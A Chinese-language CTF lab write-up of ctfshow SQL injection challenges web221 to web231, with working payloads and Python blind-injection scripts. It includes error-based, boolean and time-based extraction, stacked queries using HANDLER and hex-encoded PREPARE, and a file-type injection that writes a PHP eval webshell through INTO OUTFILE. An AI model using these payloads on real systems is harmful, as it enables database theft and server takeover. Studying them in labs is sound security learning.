ctfshow sql注入

开启其他注入

web221

limit注入

给出查询语句 以及过滤逻辑为空 获取数据库名即可

limit 用于控制返回结果行数

limit后面似乎只能跟PROCEDURE ANALYSE( )  函数了
PROCEDURE ANALYSE( )  函数用于分析查询结果的函数 参数是用来控制函数的
这个参数的位置 可以放入报错函数
原查询语句为select * from ctfshow_user limit ($page-1)*$limit,$limit;
payload为?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)
结合后变为select * from ctfshow_user limit (1-1)*7,7 procedure analyse(extractvalue(1,concat(666,database(),666)),1); 


这里报错 为什么666就可以报错 应是~报错 其实真正的是‘~’报错 666为整形所以会导致报错

路径是字符串 到这里 我试了一下'666'结果也能报错 这里记住最好就是使用非法字符即可 也有可能是因为concat拼接的问题 

尝试 tzy 'tzy' 123 '123' ~ '~' 哪些可以

123 '123' '~' 可以 其他不可以

在报错注入的时候~的位置 如果~不行(正常报错会说路径出错,不正常的情况会说你的sql语法有错误) 使用十六进制的代替 0x7e  0x3a也是路径的非法字符 代表:
刚刚看了一下不是~不行 而是 需要使用单引号引起来 这样就成功使路径报错了


然后又发现一个关键知识 就是
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
这个payload方式bp后 发现返回400 这个400代表请求的语法有问题 然后发现该payload放入浏览器中好使
最后发现 在bp的url位置 空格要换为%20 意思也就是 以后记住两点 bp的url位置 要记得url编码 以及400代表客户端有语法问题
我一直以为是获取不到服务器内容

web222

group by 注入  我以为是使用group by的报错注入那种 结果不是

依旧很简单给出后端语句 并且无过滤机制

有个去重 点击后会将username类进行分组 

正常情况盲注脚本

import requests
import string
url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"#定义一个变量dict 包含 小写字母 数字 以及_}{等字符
# 爆表名  
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
#payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
#payload = "select flagaabc from ctfshow_flaga"
for i in range(1,46):
    print(i)
    for j in dict:
        s = f"?u=if(substr(({payload}),{i},1)='{j}',username,cot(0))#"
        r = requests.get(url+s)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

这里其实有个问题(特别乱)  我看username其实是正常返回结果

通过判断返回值是否存在ctfshow即可 我在脚本中测试cot(0)的时候 返回值是空的 我就想着cot(0)换成一个不存在的列应该也是空的 结果发现乱套了  cot(0)的位置还不能乱写呢 不存在的列有可能也不行 他有可能也会返回第一行数据 甚至可能?u=ctfshow 但也不会返回结果

然后cot(0)前面的username位置到服务器段就能不会变成‘username’的形式 而cot(0)位置如果写username 则会变成 ‘username’的形式 从而输出一行数据

反正特别乱 记住一点 进行盲注的时候多观察不同值得返回值 最好通过关键字进行准确查询 

这个cot(0)的位置 无论你是不是cot(0)还是 都要手动尝试一下返回值 

其实这道题算好的 已知第三个字符为c 这样就可以观察cot(0)位置如果换别的字符是否结果有变化 如果 没有已知条件那就操蛋了

为什么0的时候 虽然返回第一行数据 但是结果级全是a 那是因为第一行结果级里面存在ctfshow然后就退出当前循环 到达下一层循环a的时候又是存在ctfshow 所以结果里面只有a

经过上面测试发现 知道为什么用cot(0)了 传参是字符串传过去的 tzy 00 到服务器都变成了字符串 从而只返回第一行数据 而cot(0)传过去 会当做函数 从而无结果数据

说的很乱 我做这道题的时候 cot(0)的位置用的0 关键字使用的是passwordAUTO 这样 可以

最后发现 我估计是啥 如果数据库中存在指定列 传入的时候 他就会正常 如果不存在指定列他会当做字符串常量

那也无法解释为什么if(1=1,username,usernames) 会返回空 f(1=1,username,username) 不返回空

还有一个脚本y4师傅的 没看呢有时间研究一下


import requests
url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/"
result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字
        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"
        # 查数据---不能一次查完越到后面越不准确
        payload = "select flagaabc from ctfshow_flaga"
        # flag{b747hfb7-P8e8-

        params = {
            'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"

        }
        try:
            r = requests.get(url, params=params, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第三种脚本

group注入 我们可以进行延时盲注也可以进行布尔盲注

我这里用延时盲注

例如

group by if(1=1,sleep(1),1)
但要注意的是,group by会向下一直查询,数据库里总共有21条数据,如果我们是sleep(1)则是停顿21秒

盲注脚本

import requests
import time
url = 'http://fce6038b-d911-4e45-9fef-95acc7ea7c82.challenge.ctf.show/api/?u='
url2 = ' &page=1&limit=10'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')"
        # 爆列
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')"
        # 爆值
        payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.05),'False')"
        url0 = url + payload + url2
        start_time = time.time()
        r = requests.get(url=url0).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 1:
            max = j
        else:
            min = j

web223

比上一题多加了一个要求 用户名不能是数字

判断

?u=if(true,username,a) 空

?u=if(true,username,'a')正常

也就是说 如果服务器中存在传入的列 会正常查询 如果不存在返回为空 并且a会影响username 也会返回空 'a'在服务器当做字符串常量 返回首行数据

本来想着和上一题用同样的方法

s = f"?u=if(substr(({payload}),{i},1)='{j}',username,'a')#"

但是发现substr不能使用数字进行截断了

解决办法 直接将数字换为字符的形式也是可以的

该脚本和上一题的第一个脚本对应

import requests
import string
url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"
def numToStr2(num):
    parts = []
    n = ord(num)#先转换为ascii的值 这里虽然传入的num是字符串形式的数字 那也无所谓也会正常输出49
    for i in range(n):#举个例子 如果数为1 ascii为49
        parts.append("true") #添加49个true
    res = "+".join(parts)#将数组以+进行连接生成一个新的字符串
    return f"char({res})"
for i in range(1,46):
    #print(i)
    for j in dict:
        params={
            'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"#这里cot(false)改为'a'也是一样的效果 但是关键字不能是ctfshow了 因为'a'会返回第一行数据 里面也存在ctfshow a就不行了哦 直接影响 ?u=username
        }
        print(type(numToStr(str(i))))
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

第二个脚本


import time
import requests
def make_num(i: int) -> str:
    return '+'.join("true" for _ in range(i))
url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/"
# 表名 ctfshow_flagas,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}"
# 列名 id,flagasabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}"
# flag
payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}"
true_flag = "passwordAUTO"
def valid_payload(p: str) -> bool:
    username = f"if({p},username,'a')"
    response = None
    while True:
        try:
            response = requests.get(f"{url}", params={"u": username})
        except:
            continue
        break
    return true_flag in response.text
index = 1
result = ""
while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(payload.format(make_num(index), make_num(everage))):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

第三个脚本

import requests


def generateNum(num):
    res = 'true'
    if num == 1:
        return res
    else:
        for i in range(num - 1):
            res += "+true"
        return res


url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
    head = 32
    tail = 127
    i = i + 1

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库-ctfshow_flagas
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段-flagasabc
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
        # 查flag
        payload = "select flagasabc from ctfshow_flagas"
        params = {
            "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
        }
        r = requests.get(url, params=params)
        # print(r.json()['data'])
        if "userAUTO" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        res += chr(head)
    else:
        break
    print(res)

web224


登录页面

存在一个敏感文件

可以修改密码 修改登陆后是个文件上传 不是文件上传漏洞 是文件类型注入

文件类型注入讲解


正着说实在是不会 倒着说 两个文件源码

上传文件源码


<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)//上传文件书时是否报错 如果报错退出
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){ //查看上传文件的大小如果太大 也是提示并退出
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}
    if (file_exists("upload/" . $_FILES["file"]["name"]))//查看upload下有没有和该文件名一样的文件 如果存在输出文件已经存在
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";如果不存在 //两次md5加密一个随机数
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);//获取文件的MIME类型
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){ //不能是常见的文件类型
        die("file type error");
      }
	  $filepath = "upload/".$filename;//定义文件位置
	  //这个双引号使用来拼接的
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],//将临时目录下的文件 移动到upload下
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");//连接数据库
		if (!$con)//没连上 输出报错信息
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {//执行sql语句 如果成功执行 跳转到filelist.php
			header("location:filelist.php");
		} else {
			//输出报错的查询语句 以及报错内容
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}	 
		mysqli_close($con);
      }
    
?>

文件列表源码

<?php
	error_reporting(0);//不输出报错信息
	echo "<center>FILE LIST</center><hr><br>";
	$con = mysqli_connect("localhost","root","root","ctf");//连接数据库
	if (!$con)
	{
		die('Could not connect: ' . mysqli_error());//没连接上报错
	}
	$sql="select filename,filepath,filetype from file";//查询数据库中的filename filepath filetype
	$result=mysqli_query($con,$sql);//执行sql语句
	echo "<ul>";
	if(mysqli_num_rows($result)>0){//如果查询结果大于一行
		while($row=mysqli_fetch_assoc($result)){//遍历每一行数据 进行输出
			echo "<li>";
			echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>";
		}
		echo "</li>";
	}
	echo "</ul>";
          
?>

该题获取文件类型的方式 不看文件后缀以及Content-Type 我尝试发现 一个空的文件 什么后缀 什么类型都能上传 但是一但 内容中有内容了就不行了 他应该是根据内容判断文件类型的

源码中获取文件类型的函数是 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);

通过 $filetype = (new finfo)->file($_FILES['file']['tmp_name']); 这行代码获取的是文件的描述信息,而不是严格意义上的 MIME 类型 他不根据Content-Type 和后缀进行判断而是根据内容


整理一下流程 首先修改密码成功进入文件上传页面 但并不是文件上传漏洞 而是 文件类型注入

服务器根据文件内容判断文件类型 我上传了三种内容不同的文件  PC64 ZIP 以及空文件

回显显示他输出了文件路径 文件名 文件类型 这时候盲猜 就是服务器获取上传文件的这三个信息后 存入数据库中 然后在数据库中进行查找输出 注入的位置也看运气 盲猜服务器存数据格式为

insert intoxxx xxx xxx values (“filepath”,“filename”,“fileextra”) 插入的时候这个类型在最后一个位置 其实刚刚说运气也不对 就算不是最后一个位置 也能构造出来再前面补一位 在后面 补上注释 和云演中有道题很像  构造sql语句为

insert intoxxx xxx xxx values ('filepath','filename','filetype') 

payload:'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+

这个filepath filename filetype 肯定是变量 服务器肯定使用拼接

"INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');" (回过头来发现 这个拼接的"和 构造的"无关

这时更改payload为(这里增加的”为的是闭合文建注释的")

"'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+

由与木马中可能存在单引号等 对于sql来说的非法字符 或影响sql语句的字符 所以使用十六进制

"'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzy.php';--+

然后现在如果判断类型 当前文件内容类型全是文本 会判断成text类型 所以提交的时候是非法的

改为不在黑名单的类型

C64File "'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzys.php';--+

此时的payload 写入11.txt文件中

服务器首先根据C64File 判断该文件类型为合法的 


先说一下 这是payload.bin文件 --+前面属于文件头部(里面包含着文件类型以及文件注释) 多个点后面为文件内容 此题获取文件类型会将整个头获取到 将C64File 识别为PC64 Emulator file文件类型 将后面的内容识别为文件的注释信息  如果一个文本文件只写当前文件头的内容 服务器也会把内容当做文件头 一个意思所以我们就用1.txt即可

通过修改源码 瞬间就能懂

提交刚刚的payload 看返回值


判断完合法后 将整个文件头插入到 数据库中

传入的内容为

C64File "');select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into outfile '/var/www/html/77.php';--+

服务器获取的filetype为

PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"

整个插入语句为 橙色为服务器获取的文件类型

INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');

因为我们构造了引号语句就变为了

INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');

到这里我才明白构造第一个双引号不是为了闭合  变量拼接用的双引号 因为拼接完后双引号就没了  该方法获取的文件头后会将注释使用双引号 引起来 所以该构造的双引号是为了闭合 

这个注释的引号

这样就能成功将PC64 Emulator file插入数据库中 并且执行够早的sql语句


提交tzy.txt 文件内容为 payload

蚁剑连接 查找flag


之前提交了一个普通的zip 和 txt 普通文件 和一个PC64型并且构造payload的文件

当时我就注意到了 为什么PC64后面有两个双引号

 讲完就立马明白了

他是把整个 PC64 Emulator file "" 插入数据库中的


在之前提交一句话木马的时候 他们都是使用<?=`$_POST[0]`; 

当时我就想着自己弄一个正常的<?php eval($_POST[0]);?>

结果我弄了好久都弄不明白 我用010打开上传成功提示的zip文件 发现内容啥的没毛病

然后 我就想着echo一下$sql 看看执行的sql语句是不是有问题  结果真是这里有问题

这是<?=`$_POST[0]`; 正常的回显

这是<?php eval($_POST[0]);?> 不正常回显

发现语句被截断的 然后又看了一下源码 发现mysqli_multi_query 函数执行sql语句的时候 有默认的最大查询长度限制


使用工具exiftool 他们是使用工具进行的 等全都做完 回头看看这个工具怎么弄 


想着尝试一下zip的注释能不能被获取到 使用winrar 添加一个123456789的注释 发现finfo对象获取不到zip的注释 PC64的方式估计是啥 恰好 文件类型和文件注释 都是可以被finfo一同获取到的

搜了一下 发现ai回答的差不多吧

记住这个PC64 这种方法 即可 可能zip也行 但是我没成功  反正是跟元数据有关


服务器返回302 并不代表提交的数据不成功 而是跳转别的页面了

蚁剑只能连接post的

这道题陆陆续续弄了4个点 学到很多 说实话要是全程贼认真 2个点完事了

以逆向的方式学习的这道题

web225

给出语句以及过滤点 使用bp看看什么方式传参

她是访问api页面进行传参 返回是一个json格式的响应

本来以为给的sql语句中{}也是一部分 发现  根本没用  不需要闭合  举个例子 如果查询

?username=ctfshow}';show%20tables;%23 这就查不到ctfshow的内容

而?username=ctfshow';show%20tables;%23 就可以查询到ctfshow的内容

首先获取表名

ctfshow';show tables;%23

发现有个ctfshow_flagasa的表 但是过滤了union select等 

第一种方法

可以使用handler代替select

payload

ctfshow';handler%20ctfshow_flagasa%20open%20as%20hd;handler%20hd%20read%20first;%23

handler ctfshow_flagasa open; 先打开一个表 这是必须的

handler ctfshow_flagasa read first; 读取表的第一条数据

第二种方法

payload

ctfshow';Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;#

prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)

这样也可以

payload

ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#

这里我想着 既然能用concat拼接 我直接正常拼接一个select 结果本地测试发现不行

web226

和上一题没啥区别 用上一题的试试 发现不对 不能使用show 和( 不能查看表名 和 使用预编译

 

预编译 concat的(不能用了 使用 十六进制依旧可以

先说一个稍微题外的知识

如果只是过滤引号的话可以用unhex()和hex()组合绕过,这里分享一下

'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
  1. abc转成16进制是616263
  2. 616263转十进制是6382179
  3. 用科学计数法表示6e6+382179 
  4. 套上unhex(hex()),就是unhex(hex(6e6+382179));

回到题目中来

如果使用预编译payload为

ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#

concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;')转为原有格式

select * from ctfshow_flagasa 转换为十六进制为0x

这是时候表名也不对 先使用show tables 转16进制0x73686f77207461626c6573

payload变为ctfshow';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

这个语句其实是对的 为什么不对呢 因为前面有ctfshow了 在这道题中 正常查询ctfshow也是不成功的 我用bp试了一下 无论用户名在数据库中是否存在 都不影响结果的输出 但是唯独ctfshow不可以 服务器的逻辑 可能是 如果发现存在ctfshow 直接退出返回空结果 

payload改为?username=';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#单引号前面随便放值都可以ctfshow除外 得出结果 ctfsh_ow_flagas表

select * from ctfsh_ow_flagas 转换为十六进制为0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173 发现不对 纳闷了

payload为1';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE stmt;#

然后发现 同样的字符串 在不同网站转换的十六进制竟然有细微的不一样的 原因是因为不同的工具或网站在处理字符编码时采用了不同的方式 也可以使用数据库中的 select hex("字符串"); 获取十六进制的值

字符串转换十六进制 我使用这个网站对于这道题来说是正确的

而且我还发现一件事 就是 这个注释不加竟然也是可以的 构造中的;就结束语句了 如果不构造这个; 就会报错 不构造;就需要加上注释 了 这个时候 虽然语句末尾没有分号 依旧是可以执行成功语句的

既然知道表名了 使用handler 也是可以的 同理末尾不需要分号也可以

还要说一点哦 就是73686f77207461626c65733b 这个3b不能转换十六机制 必须谢伟

73686f77207461626c6573;

web227

逗号也给过滤了

过滤逗号 上一题 也能用

show tables;

';Prepare%20stmt%20from%200x73686f77207461626c6573;EXECUTE%20stmt;

查不到flag表

select table_name from information_schema.tables where table_schema=database()

';Prepare%20stmt%20from%200x73656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE%20stmt;

也查不到flag表

难道不在这个数据库?

select schema_name from information_schema.schemata

';Prepare%20stmt%20from%200x73656c65637420736368656d615f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461;EXECUTE%20stmt;

发现多个数据库 没有一个和flag有关的 一般情况下flag就在当前数据库中呀 也就是ctfshow_web这个数据库

只能看大佬wp了 

知识点 有时间可以好好看看

mysql存储过程

mysql存储过程

这题和mysql的information_schema.Routines有关  flag就在里面

这个表中存储的是 存储过程 以及 函数信息  存储过程和函数 是什么呢?

简单理解就是 一个函数/工具 需要的时候就调用 

语法

select * from information_schema.routines where routine_name='sp_name';

sp_name为存储过程或函数的SPECIFIC_NAME字段的值(可以理解为某一函数的名字) 我们不知道于是只写select * from information_schema.routines 即可 他将输出所有的存储过程及函数信息

payload

1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu; 

得到falg 

如果有些情况下 不允许输出大量数据 可以使用(mysql 不区分大小写哦)

先查询routines中的列名有哪些

select column_name from information_schema.columns where table_name = 'routines'

十六进制编码后为73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327

payload为:1';prepare yu from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327;execute yu;

json解析后发现 不存在flag什么的 结果发现是SPECIFIC_NAME 是存储过程和函数的名称 

于是 查找一下函数的名字有哪些

select SPECIFIC_NAME from information_schema.routines

payload为1';prepare yu from 0x73656c6563742053504543494649435f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;

得到flag的名字 getFlag getFlag可以理解为函数名字

于是  

select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'

这块 我弄了好久 又是转16进制的问题  我就纳闷了 结果是空格的问题 因为我有的paylaod是复制别人的再改改 这个时候导致复制过来的时候有些地方空格 左右会出现十六进制a0(空白字符) 然后呢 最搞笑的是 我已开始以为都是空格 我就把一个空格一个空白字符删除了 到时剩下一个a0 然后呢进行十六进制后 传参导致失败 

真的很无语 弄了1个点才搞清楚原因 我还以为SPECIFIC_NAME不行呢

select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'

73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727
payload

1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727;execute yu;

json解码 更规范点查看

select * from information_schema.routines where routine_name = 'getFlag' 也是可以的这里面

routine_name=specific_name的值 我不知道正常情况下相不相等

插一个知识点 如果知道函数名了 使用call调用 1';call getflag(); 

存储过程中(函数)getflag的内容为SELECT \"ctfshow{599e25f8-02a0-4811-9aaf-59daa809dc35}\"

调用后则执行该内容 这时flag就能被输出了

堆叠的数据 不会被浏览器获取到 抓包或者看网络包是可以的 然后呢 之所以堆叠的数据不会被浏览器获取 我认为的原因是 返回数据中有固定字段 浏览器只获取指定的字段 其余的虽然在返回的内容集合中 但是浏览器不管 只管他想要的 

哈哈 还真被我说对了 测试了一下  虽然不知道源码是什么样的 但是也被我猜中了

payload

1';prepare%20yu%20from%200x73656c6563742069642c757365726e616d652c706173732066726f6d2063746673686f775f7573657220776865726520757365726e616d65203d2027757365723227;execute%20yu;

成功输出到浏览器中

web228/web229/web230

其他人的wp说是228 229 230 三道题都用226的方法  先试一遍 然后看看banlist数据库里面有什么过滤的

web228

虽然给出了sql的语句 但是过滤不知道过滤了 什么

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

存在三个表

select * from ctfsh_ow_flagasaa

payload ';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE stmt;#

得出falg

看看使用 handler的方式行不行

';show%20tables;%23 差表肯定是不行了 估计过滤逗号和show 一会看看

因为已经知道表名了直接用handler试试

';handler%20ctfsh_ow_flagasaa%20open%20as%20hd;handler%20hd%20read%20first;%23

发现是可以的

查看banlist表看看过滤机制吧

本来想着直接用handler 方便 结果忘记了 这是一行一行输出的 还得用预处理的方式

select * from banlist

';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;

也确实过滤了show 但发现里面竟然有handler 但是我刚刚使用handler一点问题没有呀 哈哈 搞不懂

web229

同理试试web228的两种方法

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

select * from flag

payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c6167;EXECUTE stmt;#

使用handler 看看 不可以了 这个成功被过滤了

看看过滤机制 和上一题竟然一样 上一题能用handler 这一题用不了

';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;#

web230 同理

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

select * from flagaabbx

payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE stmt;#

依旧显看一下handler  获取不到

看看过滤机制 和上一题依旧是一样的


updata注入开始

web231

先说一下正常的update 更新语句

update users set username=123,password=666 where id=1

该语句的意思是 更新users表中 id=1的行 将username改为3 password改为666 如果没有where条件会将所有用户的账号密码都更改为3和666

此题

update ctfshow_user set pass = '{$password}' where username = '{$username}';

可以构造payload

注意注意注意 我写这个payload又出现问题了 和上面有一个问题一样 不知道是不是csdn 要记住有的时候可能空格是空字符 十六进制20被执行会成功 而a0不会成功 我的解决方法是把看起来两个一样的payload 转换16进制 就能发现这个问题 空格被转换为20 而空字符被转换成a0 

update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}';

写不写where 1=1 都可以 都一个意思 

传参不知道是get还是post 一个一个尝试即可 发现时post

这里还有一个问题 就是 虽然用不上传参的username参数 但是必须要写 估计是啥原因 就是服务器会判断是否存在username这个参数 如果不存在 就不执行sql语句了 直接返回原有结果 如果执行成功 只返回一个成功的提示 

正确的情况

查看当前数据库表都有哪些

password=6s66',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') where 1=1#&username=

得到了flaga表

突发奇想直接*出来 不用查看字段值了

password=6s66',username=(select concat_ws(*) from ctfshow_web.flaga) where 1=1#&username=

发现不行

还是正常情况弄吧

查看flaga 表 字段有哪些

password=6s66',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga') where 1=1#&username=   注:不要忘记单引号

查看flagas字段值

password=6s66',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=

问题解决

update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}'; 这个时候我想着把database() 换成 show tables; 我还觉得为啥不对呢

之后想了想发现真是个笑话 在mysql中 show databases 和 show tables 是命令行直接输出

前面的题之所以能用show tables 是因为 那是堆叠注入 在分号后执行的 所以可以执行show命令

而这道题 他是在一个语句里面 里面只能使用函数或者select语句 会有返回值作为username的值

我真的是对自己无语总想太多问题 比如我又想 里面只能是select语句和函数吗 别的可以吗? 我想的一点屁用没有 记住select和函数能用就行 又想了 如果返回空 或者报错 语句会被执行嘛 我想的太多 一点用没有 语句报错 语句肯定不会被执行 就比如刚刚的show 我执行后 发现结果没变 那就代表语句没有被成功执行 如果空值 无非两种可能一种不执行语句 一种 执行后 结果就是空的 刚刚我试了一下 如果空值 整个语句都不会执行

盲注脚本  有时间可以学习一下

在盲注中 我又想到了一个问题

update ctfshow_user set pass = '{$password}' where username = '{$username}';

这个语句 最后是有分号的 但是 我构造后变为

password=1&username=ctfshow' and if(1,1,0)#

update ctfshow_user set pass = '{$password}' where username = 'ctfshow' and if(1,1,0)#';

这个注释把分号注释了竟然还可以

然后我主动加上分号也是可以的

password=111&username=ctfshow' and if(1,1,0);# 

那就试试不用注释呢 不用注释 不行 才看到 后面还有个单引号  反正如果是语句最后面 有没有分号应该都是可以的

时间盲注

import requests
url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/"
table_name = 'flaga'
flag = 'flagas'
result = ''
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
# 爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1, 50):
    head = 32
    tail = 127
    while head < tail:
        # sleep(1)
        mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半
        #print(mid)
        data = {
            'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password': 0
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid
        except:
            head = mid + 1  # sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

第二个脚本

